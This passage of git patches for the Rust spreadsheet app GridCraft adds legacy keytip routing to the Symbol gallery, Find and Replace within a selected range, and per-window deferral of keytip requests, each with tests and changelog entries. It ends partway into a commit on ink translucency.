2026-10-12 | minor | Ctrl+wheel zoom steps along a ladder of percentages about 20% apart that never skips 100%, gliding to each step with animations on, so a notch out undoes a notch in (it drifted: 100 → 122 → 101); Excel steps 15 points, see decisions.md | | 2026-10-12 | minor | Page Layout view: left/right/top/bottom margins are dragged on the rulers (#792) | | 2026-10-12 | minor | Alt+Down opens the active filter header's existing popup, with validation priority and mirrored anchoring on right-to-left sheets (part of #441) | -| 2026-11-03 | minor | A picture on the system clipboard (a screenshot, an image copied in a browser or an image editor) pastes with Cmd/Ctrl+V, the ribbon's Paste and the Paste menu items as a floating picture whose top-left corner is the active cell, as Excel does; text on the clipboard still wins. Oversized or malformed pictures are refused with a message (#699, #3018, #3182) | +| 2026-11-03 | minor | A picture on the system clipboard (a screenshot, an image copied in a browser or an image editor) pastes with Cmd/Ctrl+V, the ribbon's Paste and the Paste menu items as a floating picture whose top-left corner is the active cell, as Excel does; text on the clipboard still wins. Desktop only: the web build's paste receives clipboard text alone. Oversized or malformed pictures are refused with a message (#699, #3018, #3182) | | 2026-10-12 | minor | Paste from the ribbon (button and options menu), the cell and header context menus and the macOS menu bar's Edit menu pastes what is on the system clipboard, as Cmd/Ctrl+V does, instead of only GridCraft's own copy (the web build, which can't read the clipboard on request, still pastes GridCraft's copy). Copy and Cut by keytip (H,C / H,X) publish to the system clipboard like the ribbon buttons. After a control-channel or MCP copy, which leaves the system clipboard alone, Paste pastes that copy until other text is copied. Once a cut has been pasted, Paste (ribbon, menus or Cmd/Ctrl+V) doesn't paste the cut's clipboard text again over the moved cells (Excel pastes a cut once), and the Paste keytip (H,V,P) pastes the system clipboard like the button. Regression test for the Paste button click freeze in 0.5.0 (#273, fixed by #272); the Paste button gets an accessible "Paste" name for screen readers | | 2026-10-11 | minor | Ribbon: scroll arrows on a tab wider than the window, Formulas › AutoSum as a split button with its function menu, View › Show in two columns so Headings is no longer cut off | | 2026-10-11 | minor | Theme tokens for icon, reference, on-accent and sheet-control colours; WCAG 2 contrast test over both themes (dark danger red and selected header text adjusted) | From 6fcb94f7e3873be4136cb38e219f99f03bd654ac Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 03:03:58 -0600 Subject: [PATCH 258/298] #941: Alt+I, S opens the Symbol gallery instead of re-setting the active cell Addresses CodeRabbit review on #3250, "Open a symbol picker instead of re-parsing the cell": the legacy key ran insert.symbol with no symbol, which set the active cell to its own text again (re-reading it: text could turn into a number, a Python cell lost its code). It now routes to the ribbon's Symbol control: a control key tip whose control is on another tab shows that tab first and hands the request to the next frame, when the control is drawn, and the Symbol button opens its gallery on its key tip. Nothing is inserted until a symbol is picked. Test: legacy_keytips::alt_i_s_opens_the_symbol_gallery_and_leaves_the_cell_alone (keytips regenerated with cargo xtask keytips). Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/app.rs | 5 +-- crates/ui-egui/src/app/keys.rs | 13 +++++++- .../src/keytips/keytip_table/generated.rs | 2 +- crates/ui-egui/src/keytips/keytips.json | 2 +- crates/ui-egui/src/lib.rs | 5 +++ crates/ui-egui/src/ribbon/insert.rs | 4 ++- crates/ui-egui/tests/it/keytips_generated.rs | 3 +- crates/ui-egui/tests/it/legacy_keytips.rs | 33 +++++++++++++++++++ crates/ui-egui/tests/it/main.rs | 1 + 9 files changed, 61 insertions(+), 7 deletions(-) create mode 100644 crates/ui-egui/tests/it/legacy_keytips.rs diff --git a/crates/ui-egui/src/app.rs b/crates/ui-egui/src/app.rs index 9d190083e..762a8c704 100644 --- a/crates/ui-egui/src/app.rs +++ b/crates/ui-egui/src/app.rs @@ -107,8 +107,9 @@ impl SheetApp { pub fn logic(&mut self, ctx: &egui::Context) { self.ensure_text_width(ctx); // A keytip control request lives one frame: the ribbon consumes it during `ui`, and - // anything that never reached a control (collapsed ribbon, tab switch) is dropped. - self.ui.keytip_invoke = None; + // anything that never reached a control (collapsed ribbon, tab switch) is dropped. One + // made with a switch to the control's tab waits for the frame that draws that tab. + self.ui.keytip_invoke = self.ui.keytip_invoke_next.take(); // Floating pictures' textures go with their workbook, even when no sheet is painted. let open: Vec = self.session.documents().iter().map(|d| d.uid).collect(); floating_pictures::forget_closed(ctx, &open); diff --git a/crates/ui-egui/src/app/keys.rs b/crates/ui-egui/src/app/keys.rs index 3490bd01c..b490d8557 100644 --- a/crates/ui-egui/src/app/keys.rs +++ b/crates/ui-egui/src/app/keys.rs @@ -59,7 +59,18 @@ impl SheetApp { // Route to the ribbon control that owns this keytip: it opens its dropdown or // runs its click handler with the right params (the engine command alone would // be missing them). - keytips::Action::Control(id) => self.ui.keytip_invoke = Some(id), + // + // A control on another tab (a legacy menu key such as Alt+I, S for the Symbol + // gallery) shows its tab first, so the control is drawn and takes the request. + keytips::Action::Control(id) => { + if let Some(tab) = gridcraft_engine::find_command(id).and_then(|c| c.menu.first()).filter(|t| **t != self.ui.ribbon_tab) { + self.run_or_alert("ui.ribbonTab", json!({"tab": tab})); + self.ui.ribbon_collapsed = false; + self.ui.keytip_invoke_next = Some(id); + } else { + self.ui.keytip_invoke = Some(id); + } + } } } } diff --git a/crates/ui-egui/src/keytips/keytip_table/generated.rs b/crates/ui-egui/src/keytips/keytip_table/generated.rs index c3a343671..6c397f26c 100644 --- a/crates/ui-egui/src/keytips/keytip_table/generated.rs +++ b/crates/ui-egui/src/keytips/keytip_table/generated.rs @@ -378,7 +378,7 @@ pub const SEQUENCES: &[(&str, Entry)] = &[ ("IW", Entry::Finish(Action::Command("home.insertSheet"))), // Excel: Insert > Worksheet; Legacy Excel 2003 menu path (#941). ("IF", Entry::Finish(Action::Dialog("insertFunction"))), // Excel: Insert > Function; Legacy Excel 2003 menu path (#941). ("IND", Entry::Finish(Action::Dialog("defineName"))), // Excel: Insert > Name > Define; Legacy Excel 2003 menu path (#941). - ("IS", Entry::Finish(Action::Command("insert.symbol"))), // Excel: Insert > Symbol; Legacy Excel 2003 menu path (#941). + ("IS", Entry::Finish(Action::Control("insert.symbol"))), // Excel: Insert > Symbol; Legacy Excel 2003 menu path (#941). ("ED", Entry::Finish(Action::Dialog("deleteCells"))), // Excel: Edit > Delete; Legacy Excel 2003 menu path (#941). ("EM", Entry::Finish(Action::Dialog("moveSheet"))), // Excel: Edit > Move or Copy Sheet; Legacy Excel 2003 menu path (#941). ("EL", Entry::Finish(Action::Command("home.deleteSheet"))), // Excel: Edit > Delete Sheet; Legacy Excel 2003 menu path (#941). diff --git a/crates/ui-egui/src/keytips/keytips.json b/crates/ui-egui/src/keytips/keytips.json index 5c96d1d9f..174d519eb 100644 --- a/crates/ui-egui/src/keytips/keytips.json +++ b/crates/ui-egui/src/keytips/keytips.json @@ -2626,7 +2626,7 @@ }, { "seq": "IS", - "kind": "command", + "kind": "control", "target": "insert.symbol", "excel": "Insert > Symbol", "note": "Legacy Excel 2003 menu path (#941)." diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index 95f861f14..a0637d966 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -102,6 +102,10 @@ pub struct UiState { /// [`keytips::Action::Control`], consumed (and cleared) by the control's render site. #[serde(skip)] pub keytip_invoke: Option<&'static str>, + /// A keytip control request for the next frame: its tab was switched to this frame, so its + /// control is drawn only then. + #[serde(skip)] + pub keytip_invoke_next: Option<&'static str>, /// Interface language. English by default (so tests and headless renders never depend on the /// host's locale); the desktop app starts from [`i18n::Language::system`] when `ui.json` has /// no usable language (see [`i18n::saved_language`]). An unknown saved value reads as English @@ -143,6 +147,7 @@ impl Default for UiState { autosave: false, recent: vec![], keytip_invoke: None, + keytip_invoke_next: None, language: i18n::Language::En, interface_scale: 100, } diff --git a/crates/ui-egui/src/ribbon/insert.rs b/crates/ui-egui/src/ribbon/insert.rs index 595b74657..c347c896a 100644 --- a/crates/ui-egui/src/ribbon/insert.rs +++ b/crates/ui-egui/src/ribbon/insert.rs @@ -213,7 +213,9 @@ pub(super) fn insert(app: &mut SheetApp, ui: &mut Ui) { }); let sym = big_button(ui, Icon::Symbol, "Symbol", "Symbol", true); control_keytip(app, ui, &sym, "insert.symbol"); - egui::Popup::menu(&sym).show(|ui| { + // Opened by its key tip too (Alt+I, S): the gallery picks the symbol, nothing is inserted before. + let forced = invoke(app, "insert.symbol"); + egui::Popup::menu(&sym).open_memory(popup_command(forced, sym.clicked())).show(|ui| { ui.set_width(260.0); ui.horizontal_wrapped(|ui| { for ch in [ diff --git a/crates/ui-egui/tests/it/keytips_generated.rs b/crates/ui-egui/tests/it/keytips_generated.rs index 976e1fdbf..600a36319 100644 --- a/crates/ui-egui/tests/it/keytips_generated.rs +++ b/crates/ui-egui/tests/it/keytips_generated.rs @@ -2800,7 +2800,8 @@ fn keytip_ind_() { fn keytip_is_() { let mut h = harness(blank()); sequence(&mut h, "IS", false); - assert!(h.state().session.journal.iter().any(|(id, _)| id == "insert.symbol"), "IS must journal insert.symbol"); + assert!(h.state().message.is_none() && h.state().toast.is_none(), "IS must route to its control without an error box"); + assert_eq!(h.state().keytips.prefix(), None); } #[test] diff --git a/crates/ui-egui/tests/it/legacy_keytips.rs b/crates/ui-egui/tests/it/legacy_keytips.rs new file mode 100644 index 000000000..fa6ca37ed --- /dev/null +++ b/crates/ui-egui/tests/it/legacy_keytips.rs @@ -0,0 +1,33 @@ +//! Excel 2003 menu access keys that open a ribbon control rather than run a command (#941). + +use egui::os::OperatingSystem; +use egui::{Event, Key, Modifiers}; +use egui_kittest::kittest::Queryable as _; +use gridcraft_engine::Session; +use gridcraft_ui_egui::SheetApp; +use serde_json::json; + +fn press(h: &mut egui_kittest::Harness<'static, SheetApp>, key: Key) { + let ev = |pressed| Event::Key { key, physical_key: None, pressed, repeat: false, modifiers: Modifiers::NONE }; + h.input_mut().events.extend([ev(true), Event::Text(key.name().to_ascii_lowercase()), ev(false)]); + h.run_steps(2); +} + +#[test] +fn alt_i_s_opens_the_symbol_gallery_and_leaves_the_cell_alone() { + // Insert > Symbol picks a symbol; running insert.symbol with no symbol set the active cell + // to its own text again, re-reading it (a Python cell lost its code, text could turn into a + // number). From the Home tab the keys show the Insert tab's gallery instead. + let mut s = Session::new(); + s.new_workbook(); + s.execute("cell.set", json!({"cell": "A1", "input": "'007"})).unwrap(); + let mut h = crate::common::os_harness(s, OperatingSystem::Nix); + h.run_steps(4); + for key in [Key::F10, Key::I, Key::S] { + press(&mut h, key); + } + h.run_steps(4); + assert!(!h.state().session.journal.iter().any(|(id, _)| id == "insert.symbol"), "nothing is inserted until a symbol is picked"); + assert_eq!(h.state().ui.ribbon_tab, "Insert"); + assert!(h.query_by_label("€").is_some(), "the Symbol gallery is open"); +} diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index f1240dcd6..eedef2148 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -63,6 +63,7 @@ mod interaction; mod interface_scale; mod keyboard_shortcuts; mod keytips_generated; +mod legacy_keytips; mod macro_editor; mod macros_ui; mod menu_hover; From 3c72d5f7aa09bbbf91042a46057991b3378952c1 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 03:05:18 -0600 Subject: [PATCH 259/298] #3224: Find and Replace within the selected range edit.find and edit.replace take within: selection, which searches only the selected cells; Find Next then moves the active cell through them and keeps the range selected, as Excel does. The Find and Replace dialog uses it whenever more than one cell is selected (Excel searches a selected range; one selected cell still means the whole sheet). Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit.rs | 4 +-- crates/engine/src/cmd/edit/find.rs | 13 +++++++-- crates/engine/src/cmd/edit/tests.rs | 28 ++++++++++++++++++++ crates/ui-egui/src/dialogs/find.rs | 11 +++++++- crates/ui-egui/tests/it/find_dialog_focus.rs | 24 +++++++++++++++++ docs/ui-parity.md | 1 + 6 files changed, 76 insertions(+), 5 deletions(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 2aa9d8fe3..a863fcc74 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -126,13 +126,13 @@ pub fn specs() -> Vec { fill_series ), cmd!("edit.flashFill", "Flash Fill", ["Home", "Editing", "Fill"], Some("Ctrl+E"), "{range?}", has_doc, flash_fill), - cmd!(noundo "edit.find", "Find…", ["Home", "Editing", "Find & Select"], Some("Cmd+F"), "{what, matchCase?, wholeCell?, lookIn?: formulas|values, byColumns?, all?: bool, within?: sheet|workbook}", has_doc, find), + cmd!(noundo "edit.find", "Find…", ["Home", "Editing", "Find & Select"], Some("Cmd+F"), "{what, matchCase?, wholeCell?, lookIn?: formulas|values, byColumns?, all?: bool, within?: sheet|workbook|selection} (selection: only the selected cells; Find Next keeps them selected and moves the active cell)", has_doc, find), cmd!( "edit.replace", "Replace…", ["Home", "Editing", "Find & Select"], Some("Ctrl+H"), - "{what, with, matchCase?, wholeCell?, all?: true, within?: sheet|workbook} → {replaced, skipped?} (in a Python cell the code is edited; skipped counts Python cells whose code would no longer fit)", + "{what, with, matchCase?, wholeCell?, all?: true, within?: sheet|workbook|selection} → {replaced, skipped?} (in a Python cell the code is edited; skipped counts Python cells whose code would no longer fit)", has_doc, replace ), diff --git a/crates/engine/src/cmd/edit/find.rs b/crates/engine/src/cmd/edit/find.rs index 0d4656320..ddb9ecaf7 100644 --- a/crates/engine/src/cmd/edit/find.rs +++ b/crates/engine/src/cmd/edit/find.rs @@ -62,6 +62,8 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result { let by_cols = bool_param(p, "byColumns").unwrap_or(false); let all = bool_param(p, "all").unwrap_or(false); let workbook = str_param(p, "within") == Some("workbook"); + // `selection`: only the selected cells of the active sheet, as Excel searches a selected range. + let in_selection = str_param(p, "within") == Some("selection"); s.last_find = Some(p.clone()); let d = s.doc()?; let sheets: Vec = if workbook { (0..d.wb.sheets.len()).collect() } else { vec![d.wb.active_sheet()] }; @@ -71,6 +73,7 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result { let mut cells: Vec<(CellRef, String)> = sh .cells .iter() + .filter(|(c, _)| !in_selection || d.selection.contains(*c)) .filter_map(|(c, cell)| { let text = if values || cell.formula.is_none() || crate::display::formula_hidden(&d.wb, sh, c) { crate::display::cell_text(&d.wb, sh, c) @@ -100,7 +103,12 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result { let Some((si, c, t)) = next else { return Err(EngineError::Other("not found".into())) }; let dd = s.doc_mut()?; dd.wb_switch_sheet(si); - dd.selection = crate::Selection::at(c); + if in_selection { + // The range stays selected and the active cell moves through it, as in Excel. + dd.selection.active = c; + } else { + dd.selection = crate::Selection::at(c); + } Ok(json!({"cell": c.a1(), "sheet": si, "value": t, "count": hits.len()})) } @@ -114,6 +122,7 @@ pub(super) fn replace(s: &mut Session, p: &Json) -> Result { let whole = bool_param(p, "wholeCell").unwrap_or(false); let all = bool_param(p, "all").unwrap_or(true); let workbook = str_param(p, "within") == Some("workbook"); + let selection = (str_param(p, "within") == Some("selection")).then(|| s.doc().map(|d| d.selection.clone())).transpose()?; let active = s.doc()?.selection.active; let mut skipped = 0usize; let n = edit(s, |cx| { @@ -123,7 +132,7 @@ pub(super) fn replace(s: &mut Session, p: &Json) -> Result { let cells: Vec<(CellRef, String)> = cx.wb.sheet(si).map(|sh| sh.cells.iter().map(|(c, _)| (c, sh.input_text(c))).collect()).unwrap_or_default(); for (c, text) in cells { - if !all && c != active { + if (!all && c != active) || selection.as_ref().is_some_and(|sel| !sel.contains(c)) { continue; } if !matches(&text, &what, case, whole) { diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 3f3a2fb6d..10ee22bbe 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -371,3 +371,31 @@ fn replace_case_insensitive_keeps_text_when_folding_moves_boundaries() { let sh = s.doc().unwrap().wb.active().unwrap(); assert_eq!(sh.value(CellRef::new(0, 0)), Value::text(text)); } + +/// `within: selection` searches only the selected cells, as Excel does with a range selected +/// (#3224): Find All lists them, Find Next moves the active cell through them and keeps the range +/// selected, and Replace changes only them. +#[test] +fn find_and_replace_within_the_selection() { + let mut s = Session::new(); + s.new_workbook(); + s.execute("range.setValues", json!({"range": "A1:B4", "values": [["pear", "pear"], ["plum", "pear"], ["pear", "fig"], ["pear", "pear"]]})) + .unwrap(); + s.execute("selection.set", json!({"range": "B1:B4"})).unwrap(); + let all = s.execute("edit.find", json!({"what": "pear", "all": true, "within": "selection"})).unwrap(); + let cells: Vec<&str> = all["results"].as_array().unwrap().iter().filter_map(|r| r["cell"].as_str()).collect(); + assert_eq!(cells, ["B1", "B2", "B4"], "only column B"); + assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B2"); + assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B4"); + assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B1", "wraps inside the range"); + let sel = &s.doc().unwrap().selection; + assert_eq!((sel.a1(), sel.active.a1()), ("B1:B4".to_string(), "B1".to_string()), "the range stays selected"); + assert!(s.execute("edit.find", json!({"what": "plum", "within": "selection"})).is_err(), "A2 is outside the range"); + assert_eq!(s.execute("edit.replace", json!({"what": "pear", "with": "kiwi", "within": "selection"})).unwrap()["replaced"], 3); + let sh = s.doc().unwrap().wb.active().unwrap(); + let at = |a: &str| sh.value(CellRef::parse(a).unwrap()); + assert_eq!((at("A1"), at("B1"), at("B4"), at("A4")), (Value::text("pear"), Value::text("kiwi"), Value::text("kiwi"), Value::text("pear"))); + // The sheet scope is unchanged. + let all = s.execute("edit.find", json!({"what": "pear", "all": true})).unwrap(); + assert_eq!(all["count"], 3, "A1, A3 and A4 on the whole sheet"); +} diff --git a/crates/ui-egui/src/dialogs/find.rs b/crates/ui-egui/src/dialogs/find.rs index c1401d554..fe7f8ad6c 100644 --- a/crates/ui-egui/src/dialogs/find.rs +++ b/crates/ui-egui/src/dialogs/find.rs @@ -40,7 +40,16 @@ pub(super) fn find(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog) { d.values.insert("matchCase".into(), json!(case)); d.values.insert("wholeCell".into(), json!(whole)); d.values.insert("within".into(), json!(if wb { "workbook" } else { "sheet" })); - let base = json!({"what": what, "matchCase": case, "wholeCell": whole, "within": if wb { "workbook" } else { "sheet" }}); + // As in Excel, a selected range (more than one cell) limits the search on the sheet to it. + let range_selected = app.session.active().is_some_and(|doc| !doc.selection.is_single_cell()); + let within = if wb { + "workbook" + } else if range_selected { + "selection" + } else { + "sheet" + }; + let base = json!({"what": what, "matchCase": case, "wholeCell": whole, "within": within}); ui.horizontal(|ui| { if d.tab == "Replace" { if ui.button("Replace All").clicked() { diff --git a/crates/ui-egui/tests/it/find_dialog_focus.rs b/crates/ui-egui/tests/it/find_dialog_focus.rs index a774a431b..a66bb7acb 100644 --- a/crates/ui-egui/tests/it/find_dialog_focus.rs +++ b/crates/ui-egui/tests/it/find_dialog_focus.rs @@ -34,3 +34,27 @@ fn typing_right_after_ctrl_f_fills_find_what() { fn typing_right_after_ctrl_h_fills_find_what() { assert_eq!(type_after_shortcut(Key::H), Some(json!("abc"))); } + +/// With a range selected, Find All in the dialog lists only the matches inside it, as in Excel +/// (#3224); with one cell selected it searches the whole sheet. +#[test] +fn find_all_with_a_range_selected_searches_only_the_range() { + use egui_kittest::kittest::Queryable; + for (range, expected) in [("B1:B3", 2), ("C5", 4)] { + let mut h = harness(); + let app = h.state_mut(); + app.session.execute("range.setValues", json!({"range": "A1:B3", "values": [["pear", "pear"], ["fig", "fig"], ["pear", "pear"]]})).unwrap(); + app.session.execute("selection.set", json!({"range": range})).unwrap(); + h.run_steps(2); + h.input_mut().events.push(Event::Key { key: Key::F, physical_key: Some(Key::F), pressed: true, repeat: false, modifiers: CTRL }); + h.input_mut().events.push(Event::Key { key: Key::F, physical_key: Some(Key::F), pressed: false, repeat: false, modifiers: CTRL }); + h.run_steps(6); + h.input_mut().events.push(Event::Text("pear".into())); + h.run_steps(4); + h.get_by_label("Find All").click(); + h.run_steps(4); + let d = h.state().dialog.as_ref().expect("find dialog is open"); + let count = d.result.as_ref().map(|r| r["count"].clone()); + assert_eq!(count, Some(json!(expected)), "{range} selected"); + } +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..95da1794c 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Find and Replace with a range selected searches only that range, as in Excel: Find Next moves the active cell through it and keeps it selected, Find All lists its matches, Replace and Replace All change only them; one selected cell still searches the sheet. `edit.find` / `edit.replace` take `within: selection` (#3224) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 9ce599d978d8bebc2361e9ca59d89704ec326d39 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 03:25:52 -0600 Subject: [PATCH 260/298] #941: a control key tip expands a collapsed ribbon before it opens the control Addresses CodeRabbit review on #3250, "Expand the ribbon for a same-tab control request": with the Insert tab chosen but the ribbon collapsed, Alt+I, S went to the same-tab branch and the Symbol gallery was never drawn. A collapsed ribbon is now expanded like a tab switch, and the request waits for the frame that draws the control. Test: legacy_keytips::alt_i_s_expands_a_collapsed_ribbon_on_the_insert_tab. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/app/keys.rs | 8 ++++++-- crates/ui-egui/tests/it/legacy_keytips.rs | 19 +++++++++++++++++++ 2 files changed, 25 insertions(+), 2 deletions(-) diff --git a/crates/ui-egui/src/app/keys.rs b/crates/ui-egui/src/app/keys.rs index b490d8557..1facc5a4f 100644 --- a/crates/ui-egui/src/app/keys.rs +++ b/crates/ui-egui/src/app/keys.rs @@ -63,8 +63,12 @@ impl SheetApp { // A control on another tab (a legacy menu key such as Alt+I, S for the Symbol // gallery) shows its tab first, so the control is drawn and takes the request. keytips::Action::Control(id) => { - if let Some(tab) = gridcraft_engine::find_command(id).and_then(|c| c.menu.first()).filter(|t| **t != self.ui.ribbon_tab) { - self.run_or_alert("ui.ribbonTab", json!({"tab": tab})); + // A collapsed ribbon draws no controls either: it is expanded the same way. + let other_tab = gridcraft_engine::find_command(id).and_then(|c| c.menu.first()).filter(|t| **t != self.ui.ribbon_tab); + if other_tab.is_some() || self.ui.ribbon_collapsed { + if let Some(tab) = other_tab { + self.run_or_alert("ui.ribbonTab", json!({"tab": tab})); + } self.ui.ribbon_collapsed = false; self.ui.keytip_invoke_next = Some(id); } else { diff --git a/crates/ui-egui/tests/it/legacy_keytips.rs b/crates/ui-egui/tests/it/legacy_keytips.rs index fa6ca37ed..c2490f2bf 100644 --- a/crates/ui-egui/tests/it/legacy_keytips.rs +++ b/crates/ui-egui/tests/it/legacy_keytips.rs @@ -31,3 +31,22 @@ fn alt_i_s_opens_the_symbol_gallery_and_leaves_the_cell_alone() { assert_eq!(h.state().ui.ribbon_tab, "Insert"); assert!(h.query_by_label("€").is_some(), "the Symbol gallery is open"); } + +#[test] +fn alt_i_s_expands_a_collapsed_ribbon_on_the_insert_tab() { + // With the Insert tab already chosen but the ribbon collapsed, the gallery's control isn't + // drawn: the keys expand the ribbon first. + let mut s = Session::new(); + s.new_workbook(); + let mut h = crate::common::os_harness(s, OperatingSystem::Nix); + h.state_mut().run("ui.ribbonTab", json!({"tab": "Insert"})).unwrap(); + h.state_mut().ui.ribbon_collapsed = true; + h.run_steps(4); + for key in [Key::F10, Key::I, Key::S] { + press(&mut h, key); + } + h.run_steps(4); + assert!(!h.state().ui.ribbon_collapsed); + assert!(h.query_by_label("€").is_some(), "the Symbol gallery is open"); + assert!(!h.state().session.journal.iter().any(|(id, _)| id == "insert.symbol")); +} From d964c1cb661fb2a2ca38672d13d2259825c47cfa Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 03:39:43 -0600 Subject: [PATCH 261/298] #941: a waiting key tip request stays with the window that made it Addresses CodeRabbit review on #3250, "Keep deferred requests with their window": the request waiting for the next frame was shared across windows, so the root window, drawn first, could take a second window's Alt+I, S. It is now parked with each window's interface state and moved into the one-frame request when that window's ui begins. Test: legacy_keytips::a_waiting_key_tip_request_stays_with_its_window. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/app.rs | 8 ++++++-- crates/ui-egui/src/window_ui.rs | 4 ++++ crates/ui-egui/tests/it/legacy_keytips.rs | 19 +++++++++++++++++++ 3 files changed, 29 insertions(+), 2 deletions(-) diff --git a/crates/ui-egui/src/app.rs b/crates/ui-egui/src/app.rs index 762a8c704..94b6b01e7 100644 --- a/crates/ui-egui/src/app.rs +++ b/crates/ui-egui/src/app.rs @@ -108,8 +108,9 @@ impl SheetApp { self.ensure_text_width(ctx); // A keytip control request lives one frame: the ribbon consumes it during `ui`, and // anything that never reached a control (collapsed ribbon, tab switch) is dropped. One - // made with a switch to the control's tab waits for the frame that draws that tab. - self.ui.keytip_invoke = self.ui.keytip_invoke_next.take(); + // made with a switch to the control's tab waits, with its window, for the next `ui` of + // that window. + self.ui.keytip_invoke = None; // Floating pictures' textures go with their workbook, even when no sheet is painted. let open: Vec = self.session.documents().iter().map(|d| d.uid).collect(); floating_pictures::forget_closed(ctx, &open); @@ -195,6 +196,9 @@ impl SheetApp { let t0 = now_ms(); // A script may have switched windows since the last frame. self.follow_active_window(); + // This window's key tip request that waited for this frame (its tab or ribbon was just + // shown); any other window's request was dropped before it. + self.ui.keytip_invoke = self.ui.keytip_invoke_next.take(); text_box::before_ui(self, &ctx); // Another window came forward without going through a command (which settles drafts // first): the draft goes into its own window instead of floating over this one. If its diff --git a/crates/ui-egui/src/window_ui.rs b/crates/ui-egui/src/window_ui.rs index cef736ecc..93f2c699a 100644 --- a/crates/ui-egui/src/window_ui.rs +++ b/crates/ui-egui/src/window_ui.rs @@ -31,6 +31,8 @@ pub struct WindowUi { ribbon_tab: String, /// The status bar's Ready/Enter/Edit, which follows the window's cell draft. mode: gridcraft_engine::Mode, + /// A key tip's control request waiting for the frame that draws this window's ribbon. + keytip_invoke_next: Option<&'static str>, } impl WindowUi { @@ -70,6 +72,7 @@ impl SheetApp { open_switch_windows, ribbon_tab, mode, + keytip_invoke_next, } = w; std::mem::swap(&mut self.editor, editor); std::mem::swap(&mut self.text_box_editor, text_box_editor); @@ -86,6 +89,7 @@ impl SheetApp { std::mem::swap(&mut self.open_switch_windows, open_switch_windows); std::mem::swap(&mut self.ui.ribbon_tab, ribbon_tab); std::mem::swap(&mut self.session.mode, mode); + std::mem::swap(&mut self.ui.keytip_invoke_next, keytip_invoke_next); } /// The window whose interface state is in the per-window fields. diff --git a/crates/ui-egui/tests/it/legacy_keytips.rs b/crates/ui-egui/tests/it/legacy_keytips.rs index c2490f2bf..57deea0aa 100644 --- a/crates/ui-egui/tests/it/legacy_keytips.rs +++ b/crates/ui-egui/tests/it/legacy_keytips.rs @@ -50,3 +50,22 @@ fn alt_i_s_expands_a_collapsed_ribbon_on_the_insert_tab() { assert!(h.query_by_label("€").is_some(), "the Symbol gallery is open"); assert!(!h.state().session.journal.iter().any(|(id, _)| id == "insert.symbol")); } + +#[test] +fn a_waiting_key_tip_request_stays_with_its_window() { + // A request waiting for the frame that draws its control belongs to the window whose keys + // made it: another window drawn first must not take it. + let mut s = Session::new(); + s.new_workbook(); + let mut h = crate::common::os_harness(s, OperatingSystem::Nix); + h.run_steps(2); + let first = h.state().session.active_window().unwrap(); + h.state_mut().run("view.newWindow", json!({})).unwrap(); + let second = h.state().session.active_window().unwrap(); + h.state_mut().show_window(second); + h.state_mut().ui.keytip_invoke_next = Some("insert.symbol"); + h.state_mut().show_window(first); + assert_eq!(h.state().ui.keytip_invoke_next, None, "the first window doesn't see the second window's request"); + h.state_mut().show_window(second); + assert_eq!(h.state().ui.keytip_invoke_next, Some("insert.symbol")); +} From 2adfd5571fd5d4999f1a68080dd70ae3dc34cd14 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 03:58:23 -0600 Subject: [PATCH 262/298] #1786: ink is translucent by its width in points, while drawn and once committed Addresses CodeRabbit review on #3229, "Use the same translucency threshold as committed ink": the preview judged the pen by its width in points, the committed stroke by its width on screen, so at 50% a 12 pt highlighter turned opaque once committed and at 200% a 6 pt pen turned translucent. Both now use chartview::ink_color, which goes by the stroke's width in points, so the two agree and neither changes with the zoom. Test: ink_render::ink_translucency_follows_the_pen_not_the_zoom. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/chartview.rs | 11 